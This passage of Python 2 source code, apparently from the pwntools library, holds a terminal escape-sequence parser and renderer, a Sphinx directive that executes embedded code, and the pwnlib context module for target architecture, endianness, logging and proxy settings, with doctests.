        n = 2
    elif c0 & 0b11110000 == 0b11100000:
        n = 3
    elif c0 & 0b11111000 == 0b11110000:
        n = 4
    elif c0 & 0b11111100 == 0b11111000:
        n = 5
    elif c0 & 0b11111110 == 0b11111100:
        n = 6
    if n:
        return offset + n

def parse(s):
    global _graphics_mode
    if isinstance(s, unicode):
        s = s.encode('utf8')
    out = []
    buf = map(ord, s)
    i = 0
    while True:
        if i >= len(buf):
            break
        x = None
        c = buf[i]
        if c >= 0x20 and c <= 0x7e:
            x = (STR, [chr(c)])
            i += 1
        elif c & 0xc0:
            j = parse_utf8(buf, i)
            if j:
                x = (STR, [''.join(map(chr, buf[i : j]))])
                i = j
        elif c == 0x1b and len(buf) > i + 1:
            c1 = buf[i + 1]
            if   c1 == ord('['):
                ret = parse_csi(buf, i + 2)
                if ret:
                    cmd, args, j = ret
                    x = (CSI, (cmd, args, ''.join(map(chr, buf[i : j]))))
                    i = j
            elif c1 == ord(']'):
                # XXX: this is a dirty hack:
                #  we still need to do our homework on this one, but what we do
                #  here is supporting setting the terminal title and updating
                #  the color map.  we promise to do it properly in the next
                #  iteration of this terminal emulation/compatibility layer
                #  related: https://unix.stackexchange.com/questions/5936/can-i-set-my-local-machines-terminal-colors-to-use-those-of-the-machine-i-ssh-i
                try:
                    j = s.index('\x07', i)
                except Exception:
                    try:
                        j = s.index('\x1b\\', i)
                    except Exception:
                        j = 1
                x = (OOB, s[i:j + 1])
                i = j + 1
            elif c1 in map(ord, '()'): # select G0 or G1
                i += 3
                continue
            elif c1 in map(ord, '>='): # set numeric/application keypad mode
                i += 2
                continue
            elif c1 == ord('P'):
                _graphics_mode = True
                i += 2
                continue
            elif c1 == ord('\\'):
                _graphics_mode = False
                i += 2
                continue
        elif c == 0x01:
            x = (SOH, None)
            i += 1
        elif c == 0x02:
            x = (STX, None)
            i += 1
        elif c == 0x08:
            x = (BS, None)
            i += 1
        elif c == 0x09:
            x = (STR, ['    ']) # who the **** uses tabs anyway?
            i += 1
        elif c == 0x0a:
            x = (LF, None)
            i += 1
        elif c == 0x0d:
            x = (CR, None)
            i += 1
        if _graphics_mode:
            continue
        if x is None:
            x = (STR, [c for c in '\\x%02x' % c])
            i += 1
        if x[0] == STR and out and out[-1][0] == STR:
            out[-1][1].extend(x[1])
        else:
            out.append(x)
    return out

saved_cursor = None
# XXX: render cells that is half-way on the screen
def render_cell(cell, clear_after = False):
    global scroll, saved_cursor
    row, col = cell.start
    row = row - scroll + height - 1
    if row < 0:
        return
    indent = min(cell.indent, width - 1)
    for t, x in cell.content:
        if   t == STR:
            i = 0
            while i < len(x):
                if col >= width:
                    col = 0
                    row += 1
                if col < indent:
                    put(' ' * (indent - col))
                    col = indent
                c = x[i]
                put(c)
                col += 1
                i += 1
        elif t == CSI:
            cmd, args, c = x
            put(c)
            # figure out if the cursor moved (XXX: here probably be bugs)
            if cmd[1] is None and cmd[2] is None:
                c = cmd[0]
                if len(args) >= 1:
                    n = args[0]
                else:
                    n = None
                if len(args) >= 2:
                    m = args[1]
                else:
                    m = None
                if   c == ord('A'):
                    n = n or 1
                    row = max(0, row - n)
                elif c == ord('B'):
                    n = n or 1
                    row = min(height - 1, row + n)
                elif c == ord('C'):
                    n = n or 1
                    col = min(width - 1, col + n)
                elif c == ord('D'):
                    n = n or 1
                    col = max(0, col - n)
                elif c == ord('E'):
                    n = n or 1
                    row = min(height - 1, row + n)
                    col = 0
                elif c == ord('F'):
                    n = n or 1
                    row = max(0, row - n)
                    col = 0
                elif c == ord('G'):
                    n = n or 1
                    col = min(width - 1, n - 1)
                elif c == ord('H') or c == ord('f'):
                    n = n or 1
                    m = m or 1
                    row = min(height - 1, n - 1)
                    col = min(width - 1, m - 1)
                elif c == ord('S'):
                    n = n or 1
                    scroll += n
                    row = max(0, row - n)
                elif c == ord('T'):
                    n = n or 1
                    scroll -= n
                    row = min(height - 1, row + n)
                elif c == ord('s'):
                    saved_cursor = row, col
                elif c == ord('u'):
                    if saved_cursor:
                        row, col = saved_cursor
        elif t == LF:
            if clear_after and col <= width - 1:
                put('\x1b[K') # clear line
            put('\n')
            col = 0
            row += 1
        elif t == BS:
            if col > 0:
                put('\x08')
                col -= 1
        elif t == CR:
#            put('\r')
            col = 0
        elif t == SOH:
            put('\x01')
        elif t == STX:
            put('\x02')
        elif t == OOB:
            put(x)
        if row >= height:
            d = row - height + 1
            scroll += d
            row -= d
    row = row + scroll - height + 1
    cell.end = (row, col)

def render_from(i, force = False, clear_after = False):
    e = None
    # `i` should always be a valid cell, but in case i f***ed up somewhere, I'll
    # check it and just do nothing if something went wrong.
    if i < 0 or i >= len(cells):
        return
    goto(cells[i].start)
    for c in cells[i:]:
        if not force and c.start == e:
            goto(cells[-1].end)
            break
        elif e:
            c.start = e
        render_cell(c, clear_after = clear_after)
        e = c.end
    if clear_after and (e[0] < scroll or e[1] < width - 1):
        put('\x1b[J')
    flush()

def redraw():
    for i in reversed(range(len(cells))):
        row = cells[i].start[0]
        if row - scroll + height - 1 < 0:
            break
    # XXX: remove this line when render_cell is fixed
    if cells[i].start[0] - scroll + height <= 0:
        i += 1
    render_from(i, force = True, clear_after = True)

lock = threading.Lock()
def output(s = '', float = False, priority = 10, frozen = False,
            indent = 0, before = None, after = None):
    with lock:
        rel = before or after
        if rel:
            i, _ = find_cell(rel.h)
            is_floating = rel.is_floating
            float = cells[i].float
            if before:
                i -= 1
        elif float and priority:
            is_floating = True
            float = priority
            for i in reversed(range(len(cells))):
                if cells[i].float <= float:
                    break
        else:
            is_floating = False
            i = len(cells) - 1
            while cells[i].float and i > 0:
                i -= 1
        # put('xx %d\n' % i)
        cell = Cell()
        cell.content = parse(s)
        cell.frozen = frozen
        cell.float = float
        cell.indent = indent
        cell.start = cells[i].end
        i += 1
        cells.insert(i, cell)
        h = Handle(cell, is_floating)
        if s == '':
            cell.end = cell.start
            return h
        # the invariant is that the cursor is placed after the last cell
        if i == len(cells) - 1:
            render_cell(cell, clear_after = True)
            flush()
        else:
            render_from(i, clear_after = True)
        return h

def find_cell(h):
    for i, c in enumerate(cells):
        if id(c) == h:
            return i, c
    raise KeyError

def discard_frozen():
    # we assume that no cell will shrink very much and that noone has space
    # for more than MAX_TERM_HEIGHT lines in their terminal
    while len(cells) > 1 and scroll - cells[0].end[0] > MAX_TERM_HEIGHT:
        c = cells.pop(0)
        del c # trigger GC maybe, kthxbai

def update(h, s):
    with lock:
        try:
            i, c = find_cell(h)
        except KeyError:
            return
        if not c.frozen and c.content != s:
            c.content = parse(s)
            render_from(i, clear_after = True)

def freeze(h):
    try:
        i, c = find_cell(h)
        c.frozen = True
        c.float = 0
        if c.content == []:
            cells.pop(i)
        discard_frozen()
    except KeyError:
        return

def delete(h):
    update(h, '')
    freeze(h)





import sys
from os.path import basename

from docutils import nodes
from docutils import statemachine
from sphinx.util.compat import Directive

try:
    from StringIO import StringIO
except ImportError:
    from io import StringIO


class ExecDirective(Directive):
    """Execute the specified python code and insert the output into the document"""
    has_content = True

    def run(self):
        old_stdout, sys.stdout = sys.stdout, StringIO()

        tab_width = self.options.get('tab-width', self.state.document.settings.tab_width)
        source = self.state_machine.input_lines.source(self.lineno - self.state_machine.input_offset - 1)

        try:
            exec('\n'.join(self.content), globals())
            text = sys.stdout.getvalue()
            lines = statemachine.string2lines(text, tab_width, convert_whitespace = True)
            self.state_machine.insert_input(lines, source)
            return []
        except Exception:
            return [nodes.error(None, nodes.paragraph(text = "Unable to execute python code at %s:%d:" % (basename(source), self.lineno)), nodes.paragraph(text = str(sys.exc_info()[1])))]
        finally:
            sys.stdout = old_stdout

def setup(app):
    app.add_directive('exec', ExecDirective)






#!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
Implements context management so that nested/scoped contexts and threaded
contexts work properly and as expected.
"""
import collections
import functools
import logging
import os
import platform
import socket
import string
import subprocess
import sys
import threading
import time

import socks

from ..device import Device
from ..timeout import Timeout

_original_socket = socket.socket

class _devnull(object):
    name = None
    def write(self, *a, **kw): pass
    def read(self, *a, **kw):  return ''
    def flush(self, *a, **kw): pass
    def close(self, *a, **kw): pass

class _defaultdict(dict):
    """
    Dictionary which loads missing keys from another dictionary.

    This is neccesary because the ``default_factory`` method of
    :class:`collections.defaultdict` does not provide the key.

    Examples:

        >>> a = {'foo': 'bar'}
        >>> b = pwnlib.context._defaultdict(a)
        >>> b['foo']
        'bar'
        >>> 'foo' in b
        False
        >>> b['foo'] = 'baz'
        >>> b['foo']
        'baz'
        >>> del b['foo']
        >>> b['foo']
        'bar'

        >>> a = {'foo': 'bar'}
        >>> b = pwnlib.context._defaultdict(a)
        >>> b['baz'] #doctest: +ELLIPSIS
        Traceback (most recent call last):
        ...
        KeyError: 'baz'
    """
    def __init__(self, default=None):
        super(_defaultdict, self).__init__()
        if default is None:
            default = {}

        self.default = default


    def __missing__(self, key):
        return self.default[key]

class _DictStack(object):
    """
    Manages a dictionary-like object, permitting saving and restoring from
    a stack of states via :func:`push` and :func:`pop`.

    The underlying object used as ``default`` must implement ``copy``, ``clear``,
    and ``update``.

    Examples:

        >>> t = pwnlib.context._DictStack(default={})
        >>> t['key'] = 'value'
        >>> t
        {'key': 'value'}
        >>> t.push()
        >>> t
        {'key': 'value'}
        >>> t['key'] = 'value2'
        >>> t
        {'key': 'value2'}
        >>> t.pop()
        >>> t
        {'key': 'value'}
    """
    def __init__(self, default):
        self._current = _defaultdict(default)
        self.__stack  = []

    def push(self):
        self.__stack.append(self._current.copy())

    def pop(self):
        self._current.clear()
        self._current.update(self.__stack.pop())

    def copy(self):
        return self._current.copy()

    # Pass-through container emulation routines
    def __len__(self):              return self._current.__len__()
    def __delitem__(self, k):       return self._current.__delitem__(k)
    def __getitem__(self, k):       return self._current.__getitem__(k)
    def __setitem__(self, k, v):    return self._current.__setitem__(k, v)
    def __contains__(self, k):      return self._current.__contains__(k)
    def __iter__(self):             return self._current.__iter__()
    def __repr__(self):             return self._current.__repr__()
    def __eq__(self, other):        return self._current.__eq__(other)

    # Required for keyword expansion operator ** to work
    def keys(self):                 return self._current.keys()
    def values(self):               return self._current.values()
    def items(self):                return self._current.items()


class _Tls_DictStack(threading.local, _DictStack):
    """
    Per-thread implementation of :class:`_DictStack`.

    Examples:

        >>> t = pwnlib.context._Tls_DictStack({})
        >>> t['key'] = 'value'
        >>> print t
        {'key': 'value'}
        >>> def p(): print t
        >>> thread = threading.Thread(target=p)
        >>> _ = (thread.start(), thread.join())
        {}
    """
    pass


def _validator(validator):
    """
    Validator that tis tightly coupled to the implementation
    of the classes here.

    This expects that the object has a ._tls property which
    is of type _DictStack.
    """

    name = validator.__name__
    doc  = validator.__doc__

    def fget(self):
        return self._tls[name]

    def fset(self, val):
        self._tls[name] = validator(self, val)

    def fdel(self):
        self._tls._current.pop(name,None)

    return property(fget, fset, fdel, doc)

class Thread(threading.Thread):
    """
    Instantiates a context-aware thread, which inherit its context when it is
    instantiated. The class can be accessed both on the context module as
    `pwnlib.context.Thread` and on the context singleton object inside the
    context module as `pwnlib.context.context.Thread`.

    Threads created by using the native :class`threading`.Thread` will have a
    clean (default) context.

    Regardless of the mechanism used to create any thread, the context
    is de-coupled from the parent thread, so changes do not cascade
    to child or parent.

    Saves a copy of the context when instantiated (at ``__init__``)
    and updates the new thread's context before passing control
    to the user code via ``run`` or ``target=``.

    Examples:

        >>> context.clear()
        >>> context.update(arch='arm')
        >>> def p():
        ...     print context.arch
        ...     context.arch = 'mips'
        ...     print context.arch
        >>> # Note that a normal Thread starts with a clean context
        >>> # (i386 is the default architecture)
        >>> t = threading.Thread(target=p)
        >>> _=(t.start(), t.join())
        i386
        mips
        >>> # Note that the main Thread's context is unchanged
        >>> print context.arch
        arm
        >>> # Note that a context-aware Thread receives a copy of the context
        >>> t = pwnlib.context.Thread(target=p)
        >>> _=(t.start(), t.join())
        arm
        mips
        >>> # Again, the main thread is unchanged
        >>> print context.arch
        arm

    Implementation Details:

        This class implemented by hooking the private function
        :func:`threading.Thread._Thread_bootstrap`, which is called before
        passing control to :func:`threading.Thread.run`.

        This could be done by overriding ``run`` itself, but we would have to
        ensure that all uses of the class would only ever use the keyword
        ``target=`` for ``__init__``, or that all subclasses invoke
        ``super(Subclass.self).set_up_context()`` or similar.
    """
    def __init__(self, *args, **kwargs):
        super(Thread, self).__init__(*args, **kwargs)
        self.old = context.copy()

    def __bootstrap(self):
        """
        Implementation Details:
            This only works because the class is named ``Thread``.
            If its name is changed, we have to implement this hook
            differently.
        """
        context.update(**self.old)
        super(Thread, self).__bootstrap()

def _longest(d):
    """
    Returns an OrderedDict with the contents of the input dictionary ``d``
    sorted by the length of the keys, in descending order.

    This is useful for performing substring matching via ``str.startswith``,
    as it ensures the most complete match will be found.

    >>> data = {'a': 1, 'bb': 2, 'ccc': 3}
    >>> _longest(data) == data
    True
    >>> for i in _longest(data): print i
    ccc
    bb
    a
    """
    return collections.OrderedDict((k,d[k]) for k in sorted(d, key=len, reverse=True))

def TlsProperty(object):
    def __get__(self, obj, objtype=None):
        return obj._tls

class ContextType(object):
    r"""
    Class for specifying information about the target machine.
    Intended for use as a pseudo-singleton through the global
    variable ``pwnlib.context.context``, available via
    ``from pwn import *`` as ``context``.

    The context is usually specified at the top of the Python file for clarity. ::

        #!/usr/bin/env python
        context.update(arch='i386', os='linux')

    Currently supported properties and their defaults are listed below.
    The defaults are inherited from :data:`pwnlib.context.ContextType.defaults`.

    Additionally, the context is thread-aware when using
    :class:`pwnlib.context.Thread` instead of :class:`threading.Thread`
    (all internal ``pwntools`` threads use the former).

    The context is also scope-aware by using the ``with`` keyword.

    Examples:

        >>> context.clear()
        >>> context.update(os='linux') # doctest: +ELLIPSIS
        >>> context.os == 'linux'
        True
        >>> context.arch = 'arm'
        >>> vars(context) == {'arch': 'arm', 'bits': 32, 'endian': 'little', 'os': 'linux'}
        True
        >>> context.endian
        'little'
        >>> context.bits
        32
        >>> def nop():
        ...   print pwnlib.asm.asm('nop').encode('hex')
        >>> nop()
        00f020e3
        >>> with context.local(arch = 'i386'):
        ...   nop()
        90
        >>> from pwnlib.context import Thread as PwnThread
        >>> from threading      import Thread as NormalThread
        >>> with context.local(arch = 'mips'):
        ...     pwnthread = PwnThread(target=nop)
        ...     thread    = NormalThread(target=nop)
        >>> # Normal thread uses the default value for arch, 'i386'
        >>> _=(thread.start(), thread.join())
        90
        >>> # Pwnthread uses the correct context from creation-time
        >>> _=(pwnthread.start(), pwnthread.join())
        00000000
        >>> nop()
        00f020e3
    """

    #
    # Use of 'slots' is a heavy-handed way to prevent accidents
    # like 'context.architecture=' instead of 'context.arch='.
    #
    # Setting any properties on a ContextType object will throw an
    # exception.
    #
    __slots__ = '_tls',

    #: Default values for :class:`pwnlib.context.ContextType`
    defaults = {
        'adb_host': 'localhost',
        'adb_port': 5037,
        'arch': 'i386',
        'aslr': True,
        'binary': None,
        'bits': 32,
        'device': os.getenv('ANDROID_SERIAL', None) or None,
        'endian': 'little',
        'kernel': None,
        'log_level': logging.INFO,
        'log_file': _devnull(),
        'randomize': False,
        'newline': '\n',
        'noptrace': False,
        'os': 'linux',
        'proxy': None,
        'signed': False,
        'terminal': None,
        'timeout': Timeout.maximum,
    }

    #: Valid values for :meth:`pwnlib.context.ContextType.os`
    oses = sorted(('linux','freebsd','windows','cgc','android'))

    big_32    = {'endian': 'big', 'bits': 32}
    big_64    = {'endian': 'big', 'bits': 64}
    little_8  = {'endian': 'little', 'bits': 8}
    little_16 = {'endian': 'little', 'bits': 16}
    little_32 = {'endian': 'little', 'bits': 32}
    little_64 = {'endian': 'little', 'bits': 64}

    #: Keys are valid values for :meth:`pwnlib.context.ContextType.arch`.
    #
    #: Values are defaults which are set when
    #: :attr:`pwnlib.context.ContextType.arch` is set
    architectures = _longest({
        'aarch64':   little_64,
        'alpha':     little_64,
        'avr':       little_8,
        'amd64':     little_64,
        'arm':       little_32,
        'cris':      little_32,
        'i386':      little_32,
        'ia64':      big_64,
        'm68k':      big_32,
        'mips':      little_32,
        'mips64':    little_64,
        'msp430':    little_16,
        'powerpc':   big_32,
        'powerpc64': big_64,
        's390':      big_32,
        'sparc':     big_32,
        'sparc64':   big_64,
        'thumb':     little_32,
        'vax':       little_32,
    })

    #: Valid values for :attr:`endian`
    endiannesses = _longest({
        'be':     'big',
        'eb':     'big',
        'big':    'big',
        'le':     'little',
        'el':     'little',
        'little': 'little'
    })

    #: Valid string values for :attr:`signed`
    signednesses = {
        'unsigned': False,
        'no':       False,
        'yes':      True,
        'signed':   True
    }

    valid_signed = sorted(signednesses)

    def __init__(self, **kwargs):
        """
        Initialize the ContextType structure.

        All keyword arguments are passed to :func:`update`.
        """
        self._tls = _Tls_DictStack(_defaultdict(ContextType.defaults))
        self.update(**kwargs)


    def copy(self):
        """copy() -> dict
        Returns a copy of the current context as a dictionary.

        Examples:

            >>> context.clear()
            >>> context.os   = 'linux'
            >>> vars(context) == {'os': 'linux'}
            True
        """
        return self._tls.copy()


    @property
    def __dict__(self):
        return self.copy()

    def update(self, *args, **kwargs):
        """
        Convenience function, which is shorthand for setting multiple
        variables at once.

        It is a simple shorthand such that::

            context.update(os = 'linux', arch = 'arm', ...)

        is equivalent to::

            context.os   = 'linux'
            context.arch = 'arm'
            ...

        The following syntax is also valid::

            context.update({'os': 'linux', 'arch': 'arm'})

        Arguments:
          kwargs: Variables to be assigned in the environment.

        Examples:

            >>> context.clear()
            >>> context.update(arch = 'i386', os = 'linux')
            >>> context.arch, context.os
            ('i386', 'linux')
        """
        for arg in args:
            self.update(**arg)

        for k,v in kwargs.items():
            setattr(self,k,v)

    def __repr__(self):
        v = sorted("%s = %r" % (k,v) for k,v in self._tls._current.items())
        return '%s(%s)' % (self.__class__.__name__, ', '.join(v))

    def local(self, function=None, **kwargs):
        """local(**kwargs) -> context manager

        Create a context manager for use with the ``with`` statement.

        For more information, see the example below or PEP 343.

        Arguments:
          kwargs: Variables to be assigned in the new environment.

        Returns:
          ContextType manager for managing the old and new environment.

        Examples:

            >>> context.clear()
            >>> context.timeout = 1
            >>> context.timeout == 1
            True
            >>> print context.timeout
            1.0
            >>> with context.local(timeout = 2):
            ...     print context.timeout
            ...     context.timeout = 3
            ...     print context.timeout
            2.0
            3.0
            >>> print context.timeout
            1.0
        """
        class LocalContext(object):
            def __enter__(a):
                self._tls.push()
                self.update(**{k:v for k,v in kwargs.items() if v is not None})
                return self

            def __exit__(a, *b, **c):
                self._tls.pop()

            def __call__(self, function, *a, **kw):
                @functools.wraps(function)
                def inner(*a, **kw):
                    with self:
                        return function(*a, **kw)
                return inner

        return LocalContext()

    @property
    def silent(self, function=None):
        """Disable all non-error logging within the enclosed scope.
        """
        return self.local(function, log_level='error')

    @property
    def quiet(self, function=None):
        """Disables all non-error logging within the enclosed scope,
        *unless* the debugging level is set to 'debug' or lower."""
        level = 'error'
        if context.log_level <= logging.DEBUG:
            level = None
        return self.local(function, log_level=level)

    @property
    def verbose(self):
        """Enable all logging within the enclosed scope.
        """
        return self.local(log_level='debug')

    def clear(self, *a, **kw):
        """
        Clears the contents of the context.
        All values are set to their defaults.

        Arguments:

            a: Arguments passed to ``update``
            kw: Arguments passed to ``update``

        Examples:

            >>> # Default value
            >>> context.arch == 'i386'
            True
            >>> context.arch = 'arm'
            >>> context.arch == 'i386'
            False
            >>> context.clear()
            >>> context.arch == 'i386'
            True
        """
        self._tls._current.clear()

        if a or kw:
            self.update(*a, **kw)

    @property
    def native(self):
        if context.os in ('android', 'cgc'):
            return False

        arch = context.arch
        with context.local(arch = platform.machine()):
            platform_arch = context.arch

            if arch in ('i386', 'amd64') and platform_arch in ('i386', 'amd64'):
                return True

            return arch == platform_arch

    @_validator
    def arch(self, arch):
        """
        Target binary architecture.

        Allowed values are listed in :attr:`pwnlib.context.ContextType.architectures`.

        Side Effects:

            If an architecture is specified which also implies additional
            attributes (e.g. 'amd64' implies 64-bit words, 'powerpc' implies
            big-endian), these attributes will be set on the context if a
            user has not already set a value.

            The following properties may be modified.

            - :attr:`bits`
            - :attr:`endian`

        Raises:
            AttributeError: An invalid architecture was specified

        Examples:

            >>> context.clear()
            >>> context.arch == 'i386' # Default architecture
            True

            >>> context.arch = 'mips'
            >>> context.arch == 'mips'
            True

            >>> context.arch = 'doge' #doctest: +ELLIPSIS
            Traceback (most recent call last):
             ...
            AttributeError: arch must be one of ['aarch64', ..., 'thumb']

            >>> context.arch = 'ppc'
            >>> context.arch == 'powerpc' # Aliased architecture
            True

            >>> context.clear()
            >>> context.bits == 32 # Default value
            True
            >>> context.arch = 'amd64'
            >>> context.bits == 64 # New value
            True

            Note that expressly setting :attr:`bits` means that we use
            that value instead of the default

            >>> context.clear()
            >>> context.bits = 32
            >>> context.arch = 'amd64'
            >>> context.bits == 32
            True

            Setting the architecture can override the defaults for
            both :attr:`endian` and :attr:`bits`

            >>> context.clear()
            >>> context.arch = 'powerpc64'
            >>> vars(context) == {'arch': 'powerpc64', 'bits': 64, 'endian': 'big'}
            True
        """
        # Lowercase
        arch = arch.lower()

        # Attempt to perform convenience and legacy compatibility transformations.
        # We have to make sure that x86_64 appears before x86 for this to work correctly.
        transform = [('ppc64', 'powerpc64'),
                     ('ppc', 'powerpc'),
                     ('x86_64', 'amd64'),
                     ('x86', 'i386'),
                     ('i686', 'i386'),
                     ('armeabi', 'arm'),
                     ('arm64', 'aarch64')]
        for k, v in transform:
            if arch.startswith(k):
                arch = v
                break

        try:
            defaults = ContextType.architectures[arch]
        except KeyError:
            raise AttributeError('AttributeError: arch must be one of %r' % sorted(ContextType.architectures))

        for k,v in ContextType.architectures[arch].items():
            if k not in self._tls:
                self._tls[k] = v

        return arch

    @_validator
    def aslr(self, aslr):
        """
        ASLR settings for new processes.

        If ``False``, attempt to disable ASLR in all processes which are
        created via ``personality`` (``setarch -R``) and ``setrlimit``
        (``ulimit -s unlimited``).

        The ``setarch`` changes are lost if a ``setuid`` binary is executed.
        """
        return bool(aslr)

    @_validator
    def kernel(self, arch):
        """
        Target machine's kernel architecture.

        Usually, this is the same as ``arch``, except when
        running a 32-bit binary on a 64-bit kernel (e.g. i386-on-amd64).

        Even then, this doesn't matter much -- only when the the segment
        registers need to be known
        """
        with context.local(arch=arch):
            return context.arch

    @_validator
    def bits(self, bits):
        """
        Target machine word size, in bits (i.e. the size of general purpose registers).

        The default value is ``32``, but changes according to :attr:`arch`.

        Examples:
            >>> context.clear()
            >>> context.bits == 32
            True
            >>> context.bits = 64
            >>> context.bits == 64
            True
            >>> context.bits = -1 #doctest: +ELLIPSIS
            Traceback (most recent call last):
            ...
            AttributeError: bits must be > 0 (-1)
        """
        bits = int(bits)

        if bits <= 0:
            raise AttributeError("bits must be > 0 (%r)" % bits)

        return bits

    @_validator
    def binary(self, binary):
        """
        Infer target architecture, bit-with, and endianness from a binary file.
        Data type is a :class:`pwnlib.elf.ELF` object.

        Examples:

            >>> context.clear()
            >>> context.arch, context.bits
            ('i386', 32)
            >>> context.binary = '/bin/bash'
            >>> context.arch, context.bits
            ('amd64', 64)
            >>> context.binary
            ELF('/bin/bash')

        """
        # Cyclic imports... sorry Idolf.
        from ..elf     import ELF

        if not isinstance(binary, ELF):
            binary = ELF(binary)

        self.arch   = binary.arch
        self.bits   = binary.bits
        self.endian = binary.endian

        return binary

    @property
    def bytes(self):
        """
        Target machine word size, in bytes (i.e. the size of general purpose registers).

        This is a convenience wrapper around ``bits / 8``.

        Examples:

            >>> context.bytes = 1
            >>> context.bits == 8
            True

            >>> context.bytes = 0 #doctest: +ELLIPSIS
            Traceback (most recent call last):
            ...
            AttributeError: bits must be > 0 (0)
        """
        return self.bits/8
    @bytes.setter
    def bytes(self, value):
        self.bits = value*8

    @_validator
    def endian(self, endianness):
        """
        Endianness of the target machine.

        The default value is ``'little'``, but changes according to :attr:`arch`.

        Raises:
            AttributeError: An invalid endianness was provided

        Examples:

            >>> context.clear()
            >>> context.endian == 'little'
            True

            >>> context.endian = 'big'
            >>> context.endian
            'big'

            >>> context.endian = 'be'
            >>> context.endian == 'big'
            True

            >>> context.endian = 'foobar' #doctest: +ELLIPSIS
            Traceback (most recent call last):
             ...
            AttributeError: endian must be one of ['be', 'big', 'eb', 'el', 'le', 'little']
        """
        endian = endianness.lower()

        if endian not in ContextType.endiannesses:
            raise AttributeError("endian must be one of %r" % sorted(ContextType.endiannesses))

        return ContextType.endiannesses[endian]


    @_validator
    def log_level(self, value):
        """
        Sets the verbosity of ``pwntools`` logging mechanism.

        More specifically it controls the filtering of messages that happens
        inside the handler for logging to the screen. So if you want e.g. log
        all messages to a file, then this attribute makes no difference to you.

        Valid values are specified by the standard Python ``logging`` module.

        Default value is set to ``INFO``.

        Examples:

            >>> context.log_level = 'error'
            >>> context.log_level == logging.ERROR
            True
            >>> context.log_level = 10
            >>> context.log_level = 'foobar' #doctest: +ELLIPSIS
            Traceback (most recent call last):
            ...
            AttributeError: log_level must be an integer or one of ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
        """
        # If it can be converted into an int, success
        try:                    return int(value)
        except ValueError:  pass

        # If it is defined in the logging module, success
        try:                    return getattr(logging, value.upper())
        except AttributeError:  pass

        # Otherwise, fail
        level_names = filter(lambda x: isinstance(x,str), logging._levelNames)
        permitted = sorted(level_names)
        raise AttributeError('log_level must be an integer or one of %r' % permitted)

    @_validator
    def log_file(self, value):
        r"""
        Sets the target file for all logging output.

        Works in a similar fashion to :attr:`log_level`.

        Examples:


            >>> context.log_file = 'foo.txt' #doctest: +ELLIPSIS
            >>> log.debug('Hello!') #doctest: +ELLIPSIS
            >>> with context.local(log_level='ERROR'): #doctest: +ELLIPSIS
            ...     log.info('Hello again!')
            >>> with context.local(log_file='bar.txt'):
            ...     log.debug('Hello from bar!')
            >>> log.info('Hello from foo!')
            >>> file('foo.txt').readlines()[-3] #doctest: +ELLIPSIS
            '...:DEBUG:...:Hello!\n'
            >>> file('foo.txt').readlines()[-2] #doctest: +ELLIPSIS
            '...:INFO:...:Hello again!\n'
            >>> file('foo.txt').readlines()[-1] #doctest: +ELLIPSIS
            '...:INFO:...:Hello from foo!\n'
            >>> file('bar.txt').readlines()[-1] #doctest: +ELLIPSIS
            '...:DEBUG:...:Hello from bar!\n'
        """
        if isinstance(value, (str,unicode)):
            modes = ('w', 'wb', 'a', 'ab')
            # check if mode was specified as "[value],[mode]"
            if ',' not in value:
                value += ',a'
            filename, mode = value.rsplit(',', 1)
            value = open(filename, mode)

        elif not isinstance(value, (file)):
            raise AttributeError('log_file must be a file')

        # Is this the same file we already have open?
        # If so, don't re-print the banner.
        if self.log_file and not isinstance(self.log_file, _devnull):
            a = os.fstat(value.fileno()).st_ino
            b = os.fstat(self.log_file.fileno()).st_ino

            if a == b:
                return self.log_file

        iso_8601 = '%Y-%m-%dT%H:%M:%S'
        lines = [
            '=' * 78,
            ' Started at %s ' % time.strftime(iso_8601),
            ' sys.argv = [',
            ]
        for arg in sys.argv:
            lines.append('   %r,' % arg)
        lines.append(' ]')
        lines.append('=' * 78)
        for line in lines:
            value.write('=%-78s=\n' % line)
        value.flush()
        return value

    @property
    def mask(self):
        return (1 << self.bits) - 1

    @_validator
    def os(self, os):
        """
        Operating system of the target machine.

        The default value is ``linux``.

        Allowed values are listed in :attr:`pwnlib.context.ContextType.oses`.

        Examples:

            >>> context.os = 'linux'
            >>> context.os = 'foobar' #doctest: +ELLIPSIS
            Traceback (most recent call last):
            ...
            AttributeError: os must be one of ['android', 'cgc', 'freebsd', 'linux', 'windows']
        """
        os = os.lower()

        if os not in ContextType.oses:
            raise AttributeError("os must be one of %r" % ContextType.oses)

        return os

    @_validator
    def randomize(self, r):
        """
        Global flag that lots of things should be randomized.
        """
        return bool(r)

    @_validator
    def signed(self, signed):
        """
        Signed-ness for packing operation when it's not explicitly set.

        Can be set to any non-string truthy value, or the specific string
        values ``'signed'`` or ``'unsigned'`` which are converted into
        ``True`` and ``False`` correspondingly.

        Examples:

            >>> context.signed
            False
            >>> context.signed = 1
            >>> context.signed
            True
            >>> context.signed = 'signed'
            >>> context.signed
            True
            >>> context.signed = 'unsigned'
            >>> context.signed
            False
            >>> context.signed = 'foobar' #doctest: +ELLIPSIS
            Traceback (most recent call last):
            ...
            AttributeError: signed must be one of ['no', 'signed', 'unsigned', 'yes'] or a non-string truthy value
        """
        try:             signed = ContextType.signednesses[signed]
        except KeyError: pass

        if isinstance(signed, str):
            raise AttributeError('signed must be one of %r or a non-string truthy value' % sorted(ContextType.signednesses))

        return bool(signed)

    @_validator
    def timeout(self, value=Timeout.default):
        """
        Default amount of time to wait for a blocking operation before it times out,
        specified in seconds.

        The default value is to have an infinite timeout.

        See :class:`pwnlib.timeout.Timeout` for additional information on
        valid values.
        """
        return Timeout(value).timeout

    @_validator
    def terminal(self, value):
        """
        Default terminal used by :meth:`pwnlib.util.misc.run_in_new_terminal`.
        Can be a string or an iterable of strings.  In the latter case the first
        entry is the terminal and the rest are default arguments.
        """
        if isinstance(value, (str, unicode)):
            return [value]
        return value

    @property
    def abi(self):
        return self._abi

    @_validator
    def proxy(self, proxy):
        """
        Default proxy for all socket connections.

        Accepts either a string (hostname or IP address) for a SOCKS5 proxy on
        the default port, **or** a ``tuple`` passed to ``socks.set_default_proxy``,
        e.g. ``(socks.SOCKS4, 'localhost', 1234)``.

        >>> context.proxy = 'localhost' #doctest: +ELLIPSIS
        >>> r=remote('google.com', 80)
        Traceback (most recent call last):
        ...
        ProxyConnectionError: Error connecting to SOCKS5 proxy localhost:1080: [Errno 111] Connection refused

        >>> context.proxy = None
        >>> r=remote('google.com', 80, level='error')
        """

        if not proxy:
            socket.socket = _original_socket
            return None

        if isinstance(proxy, str):
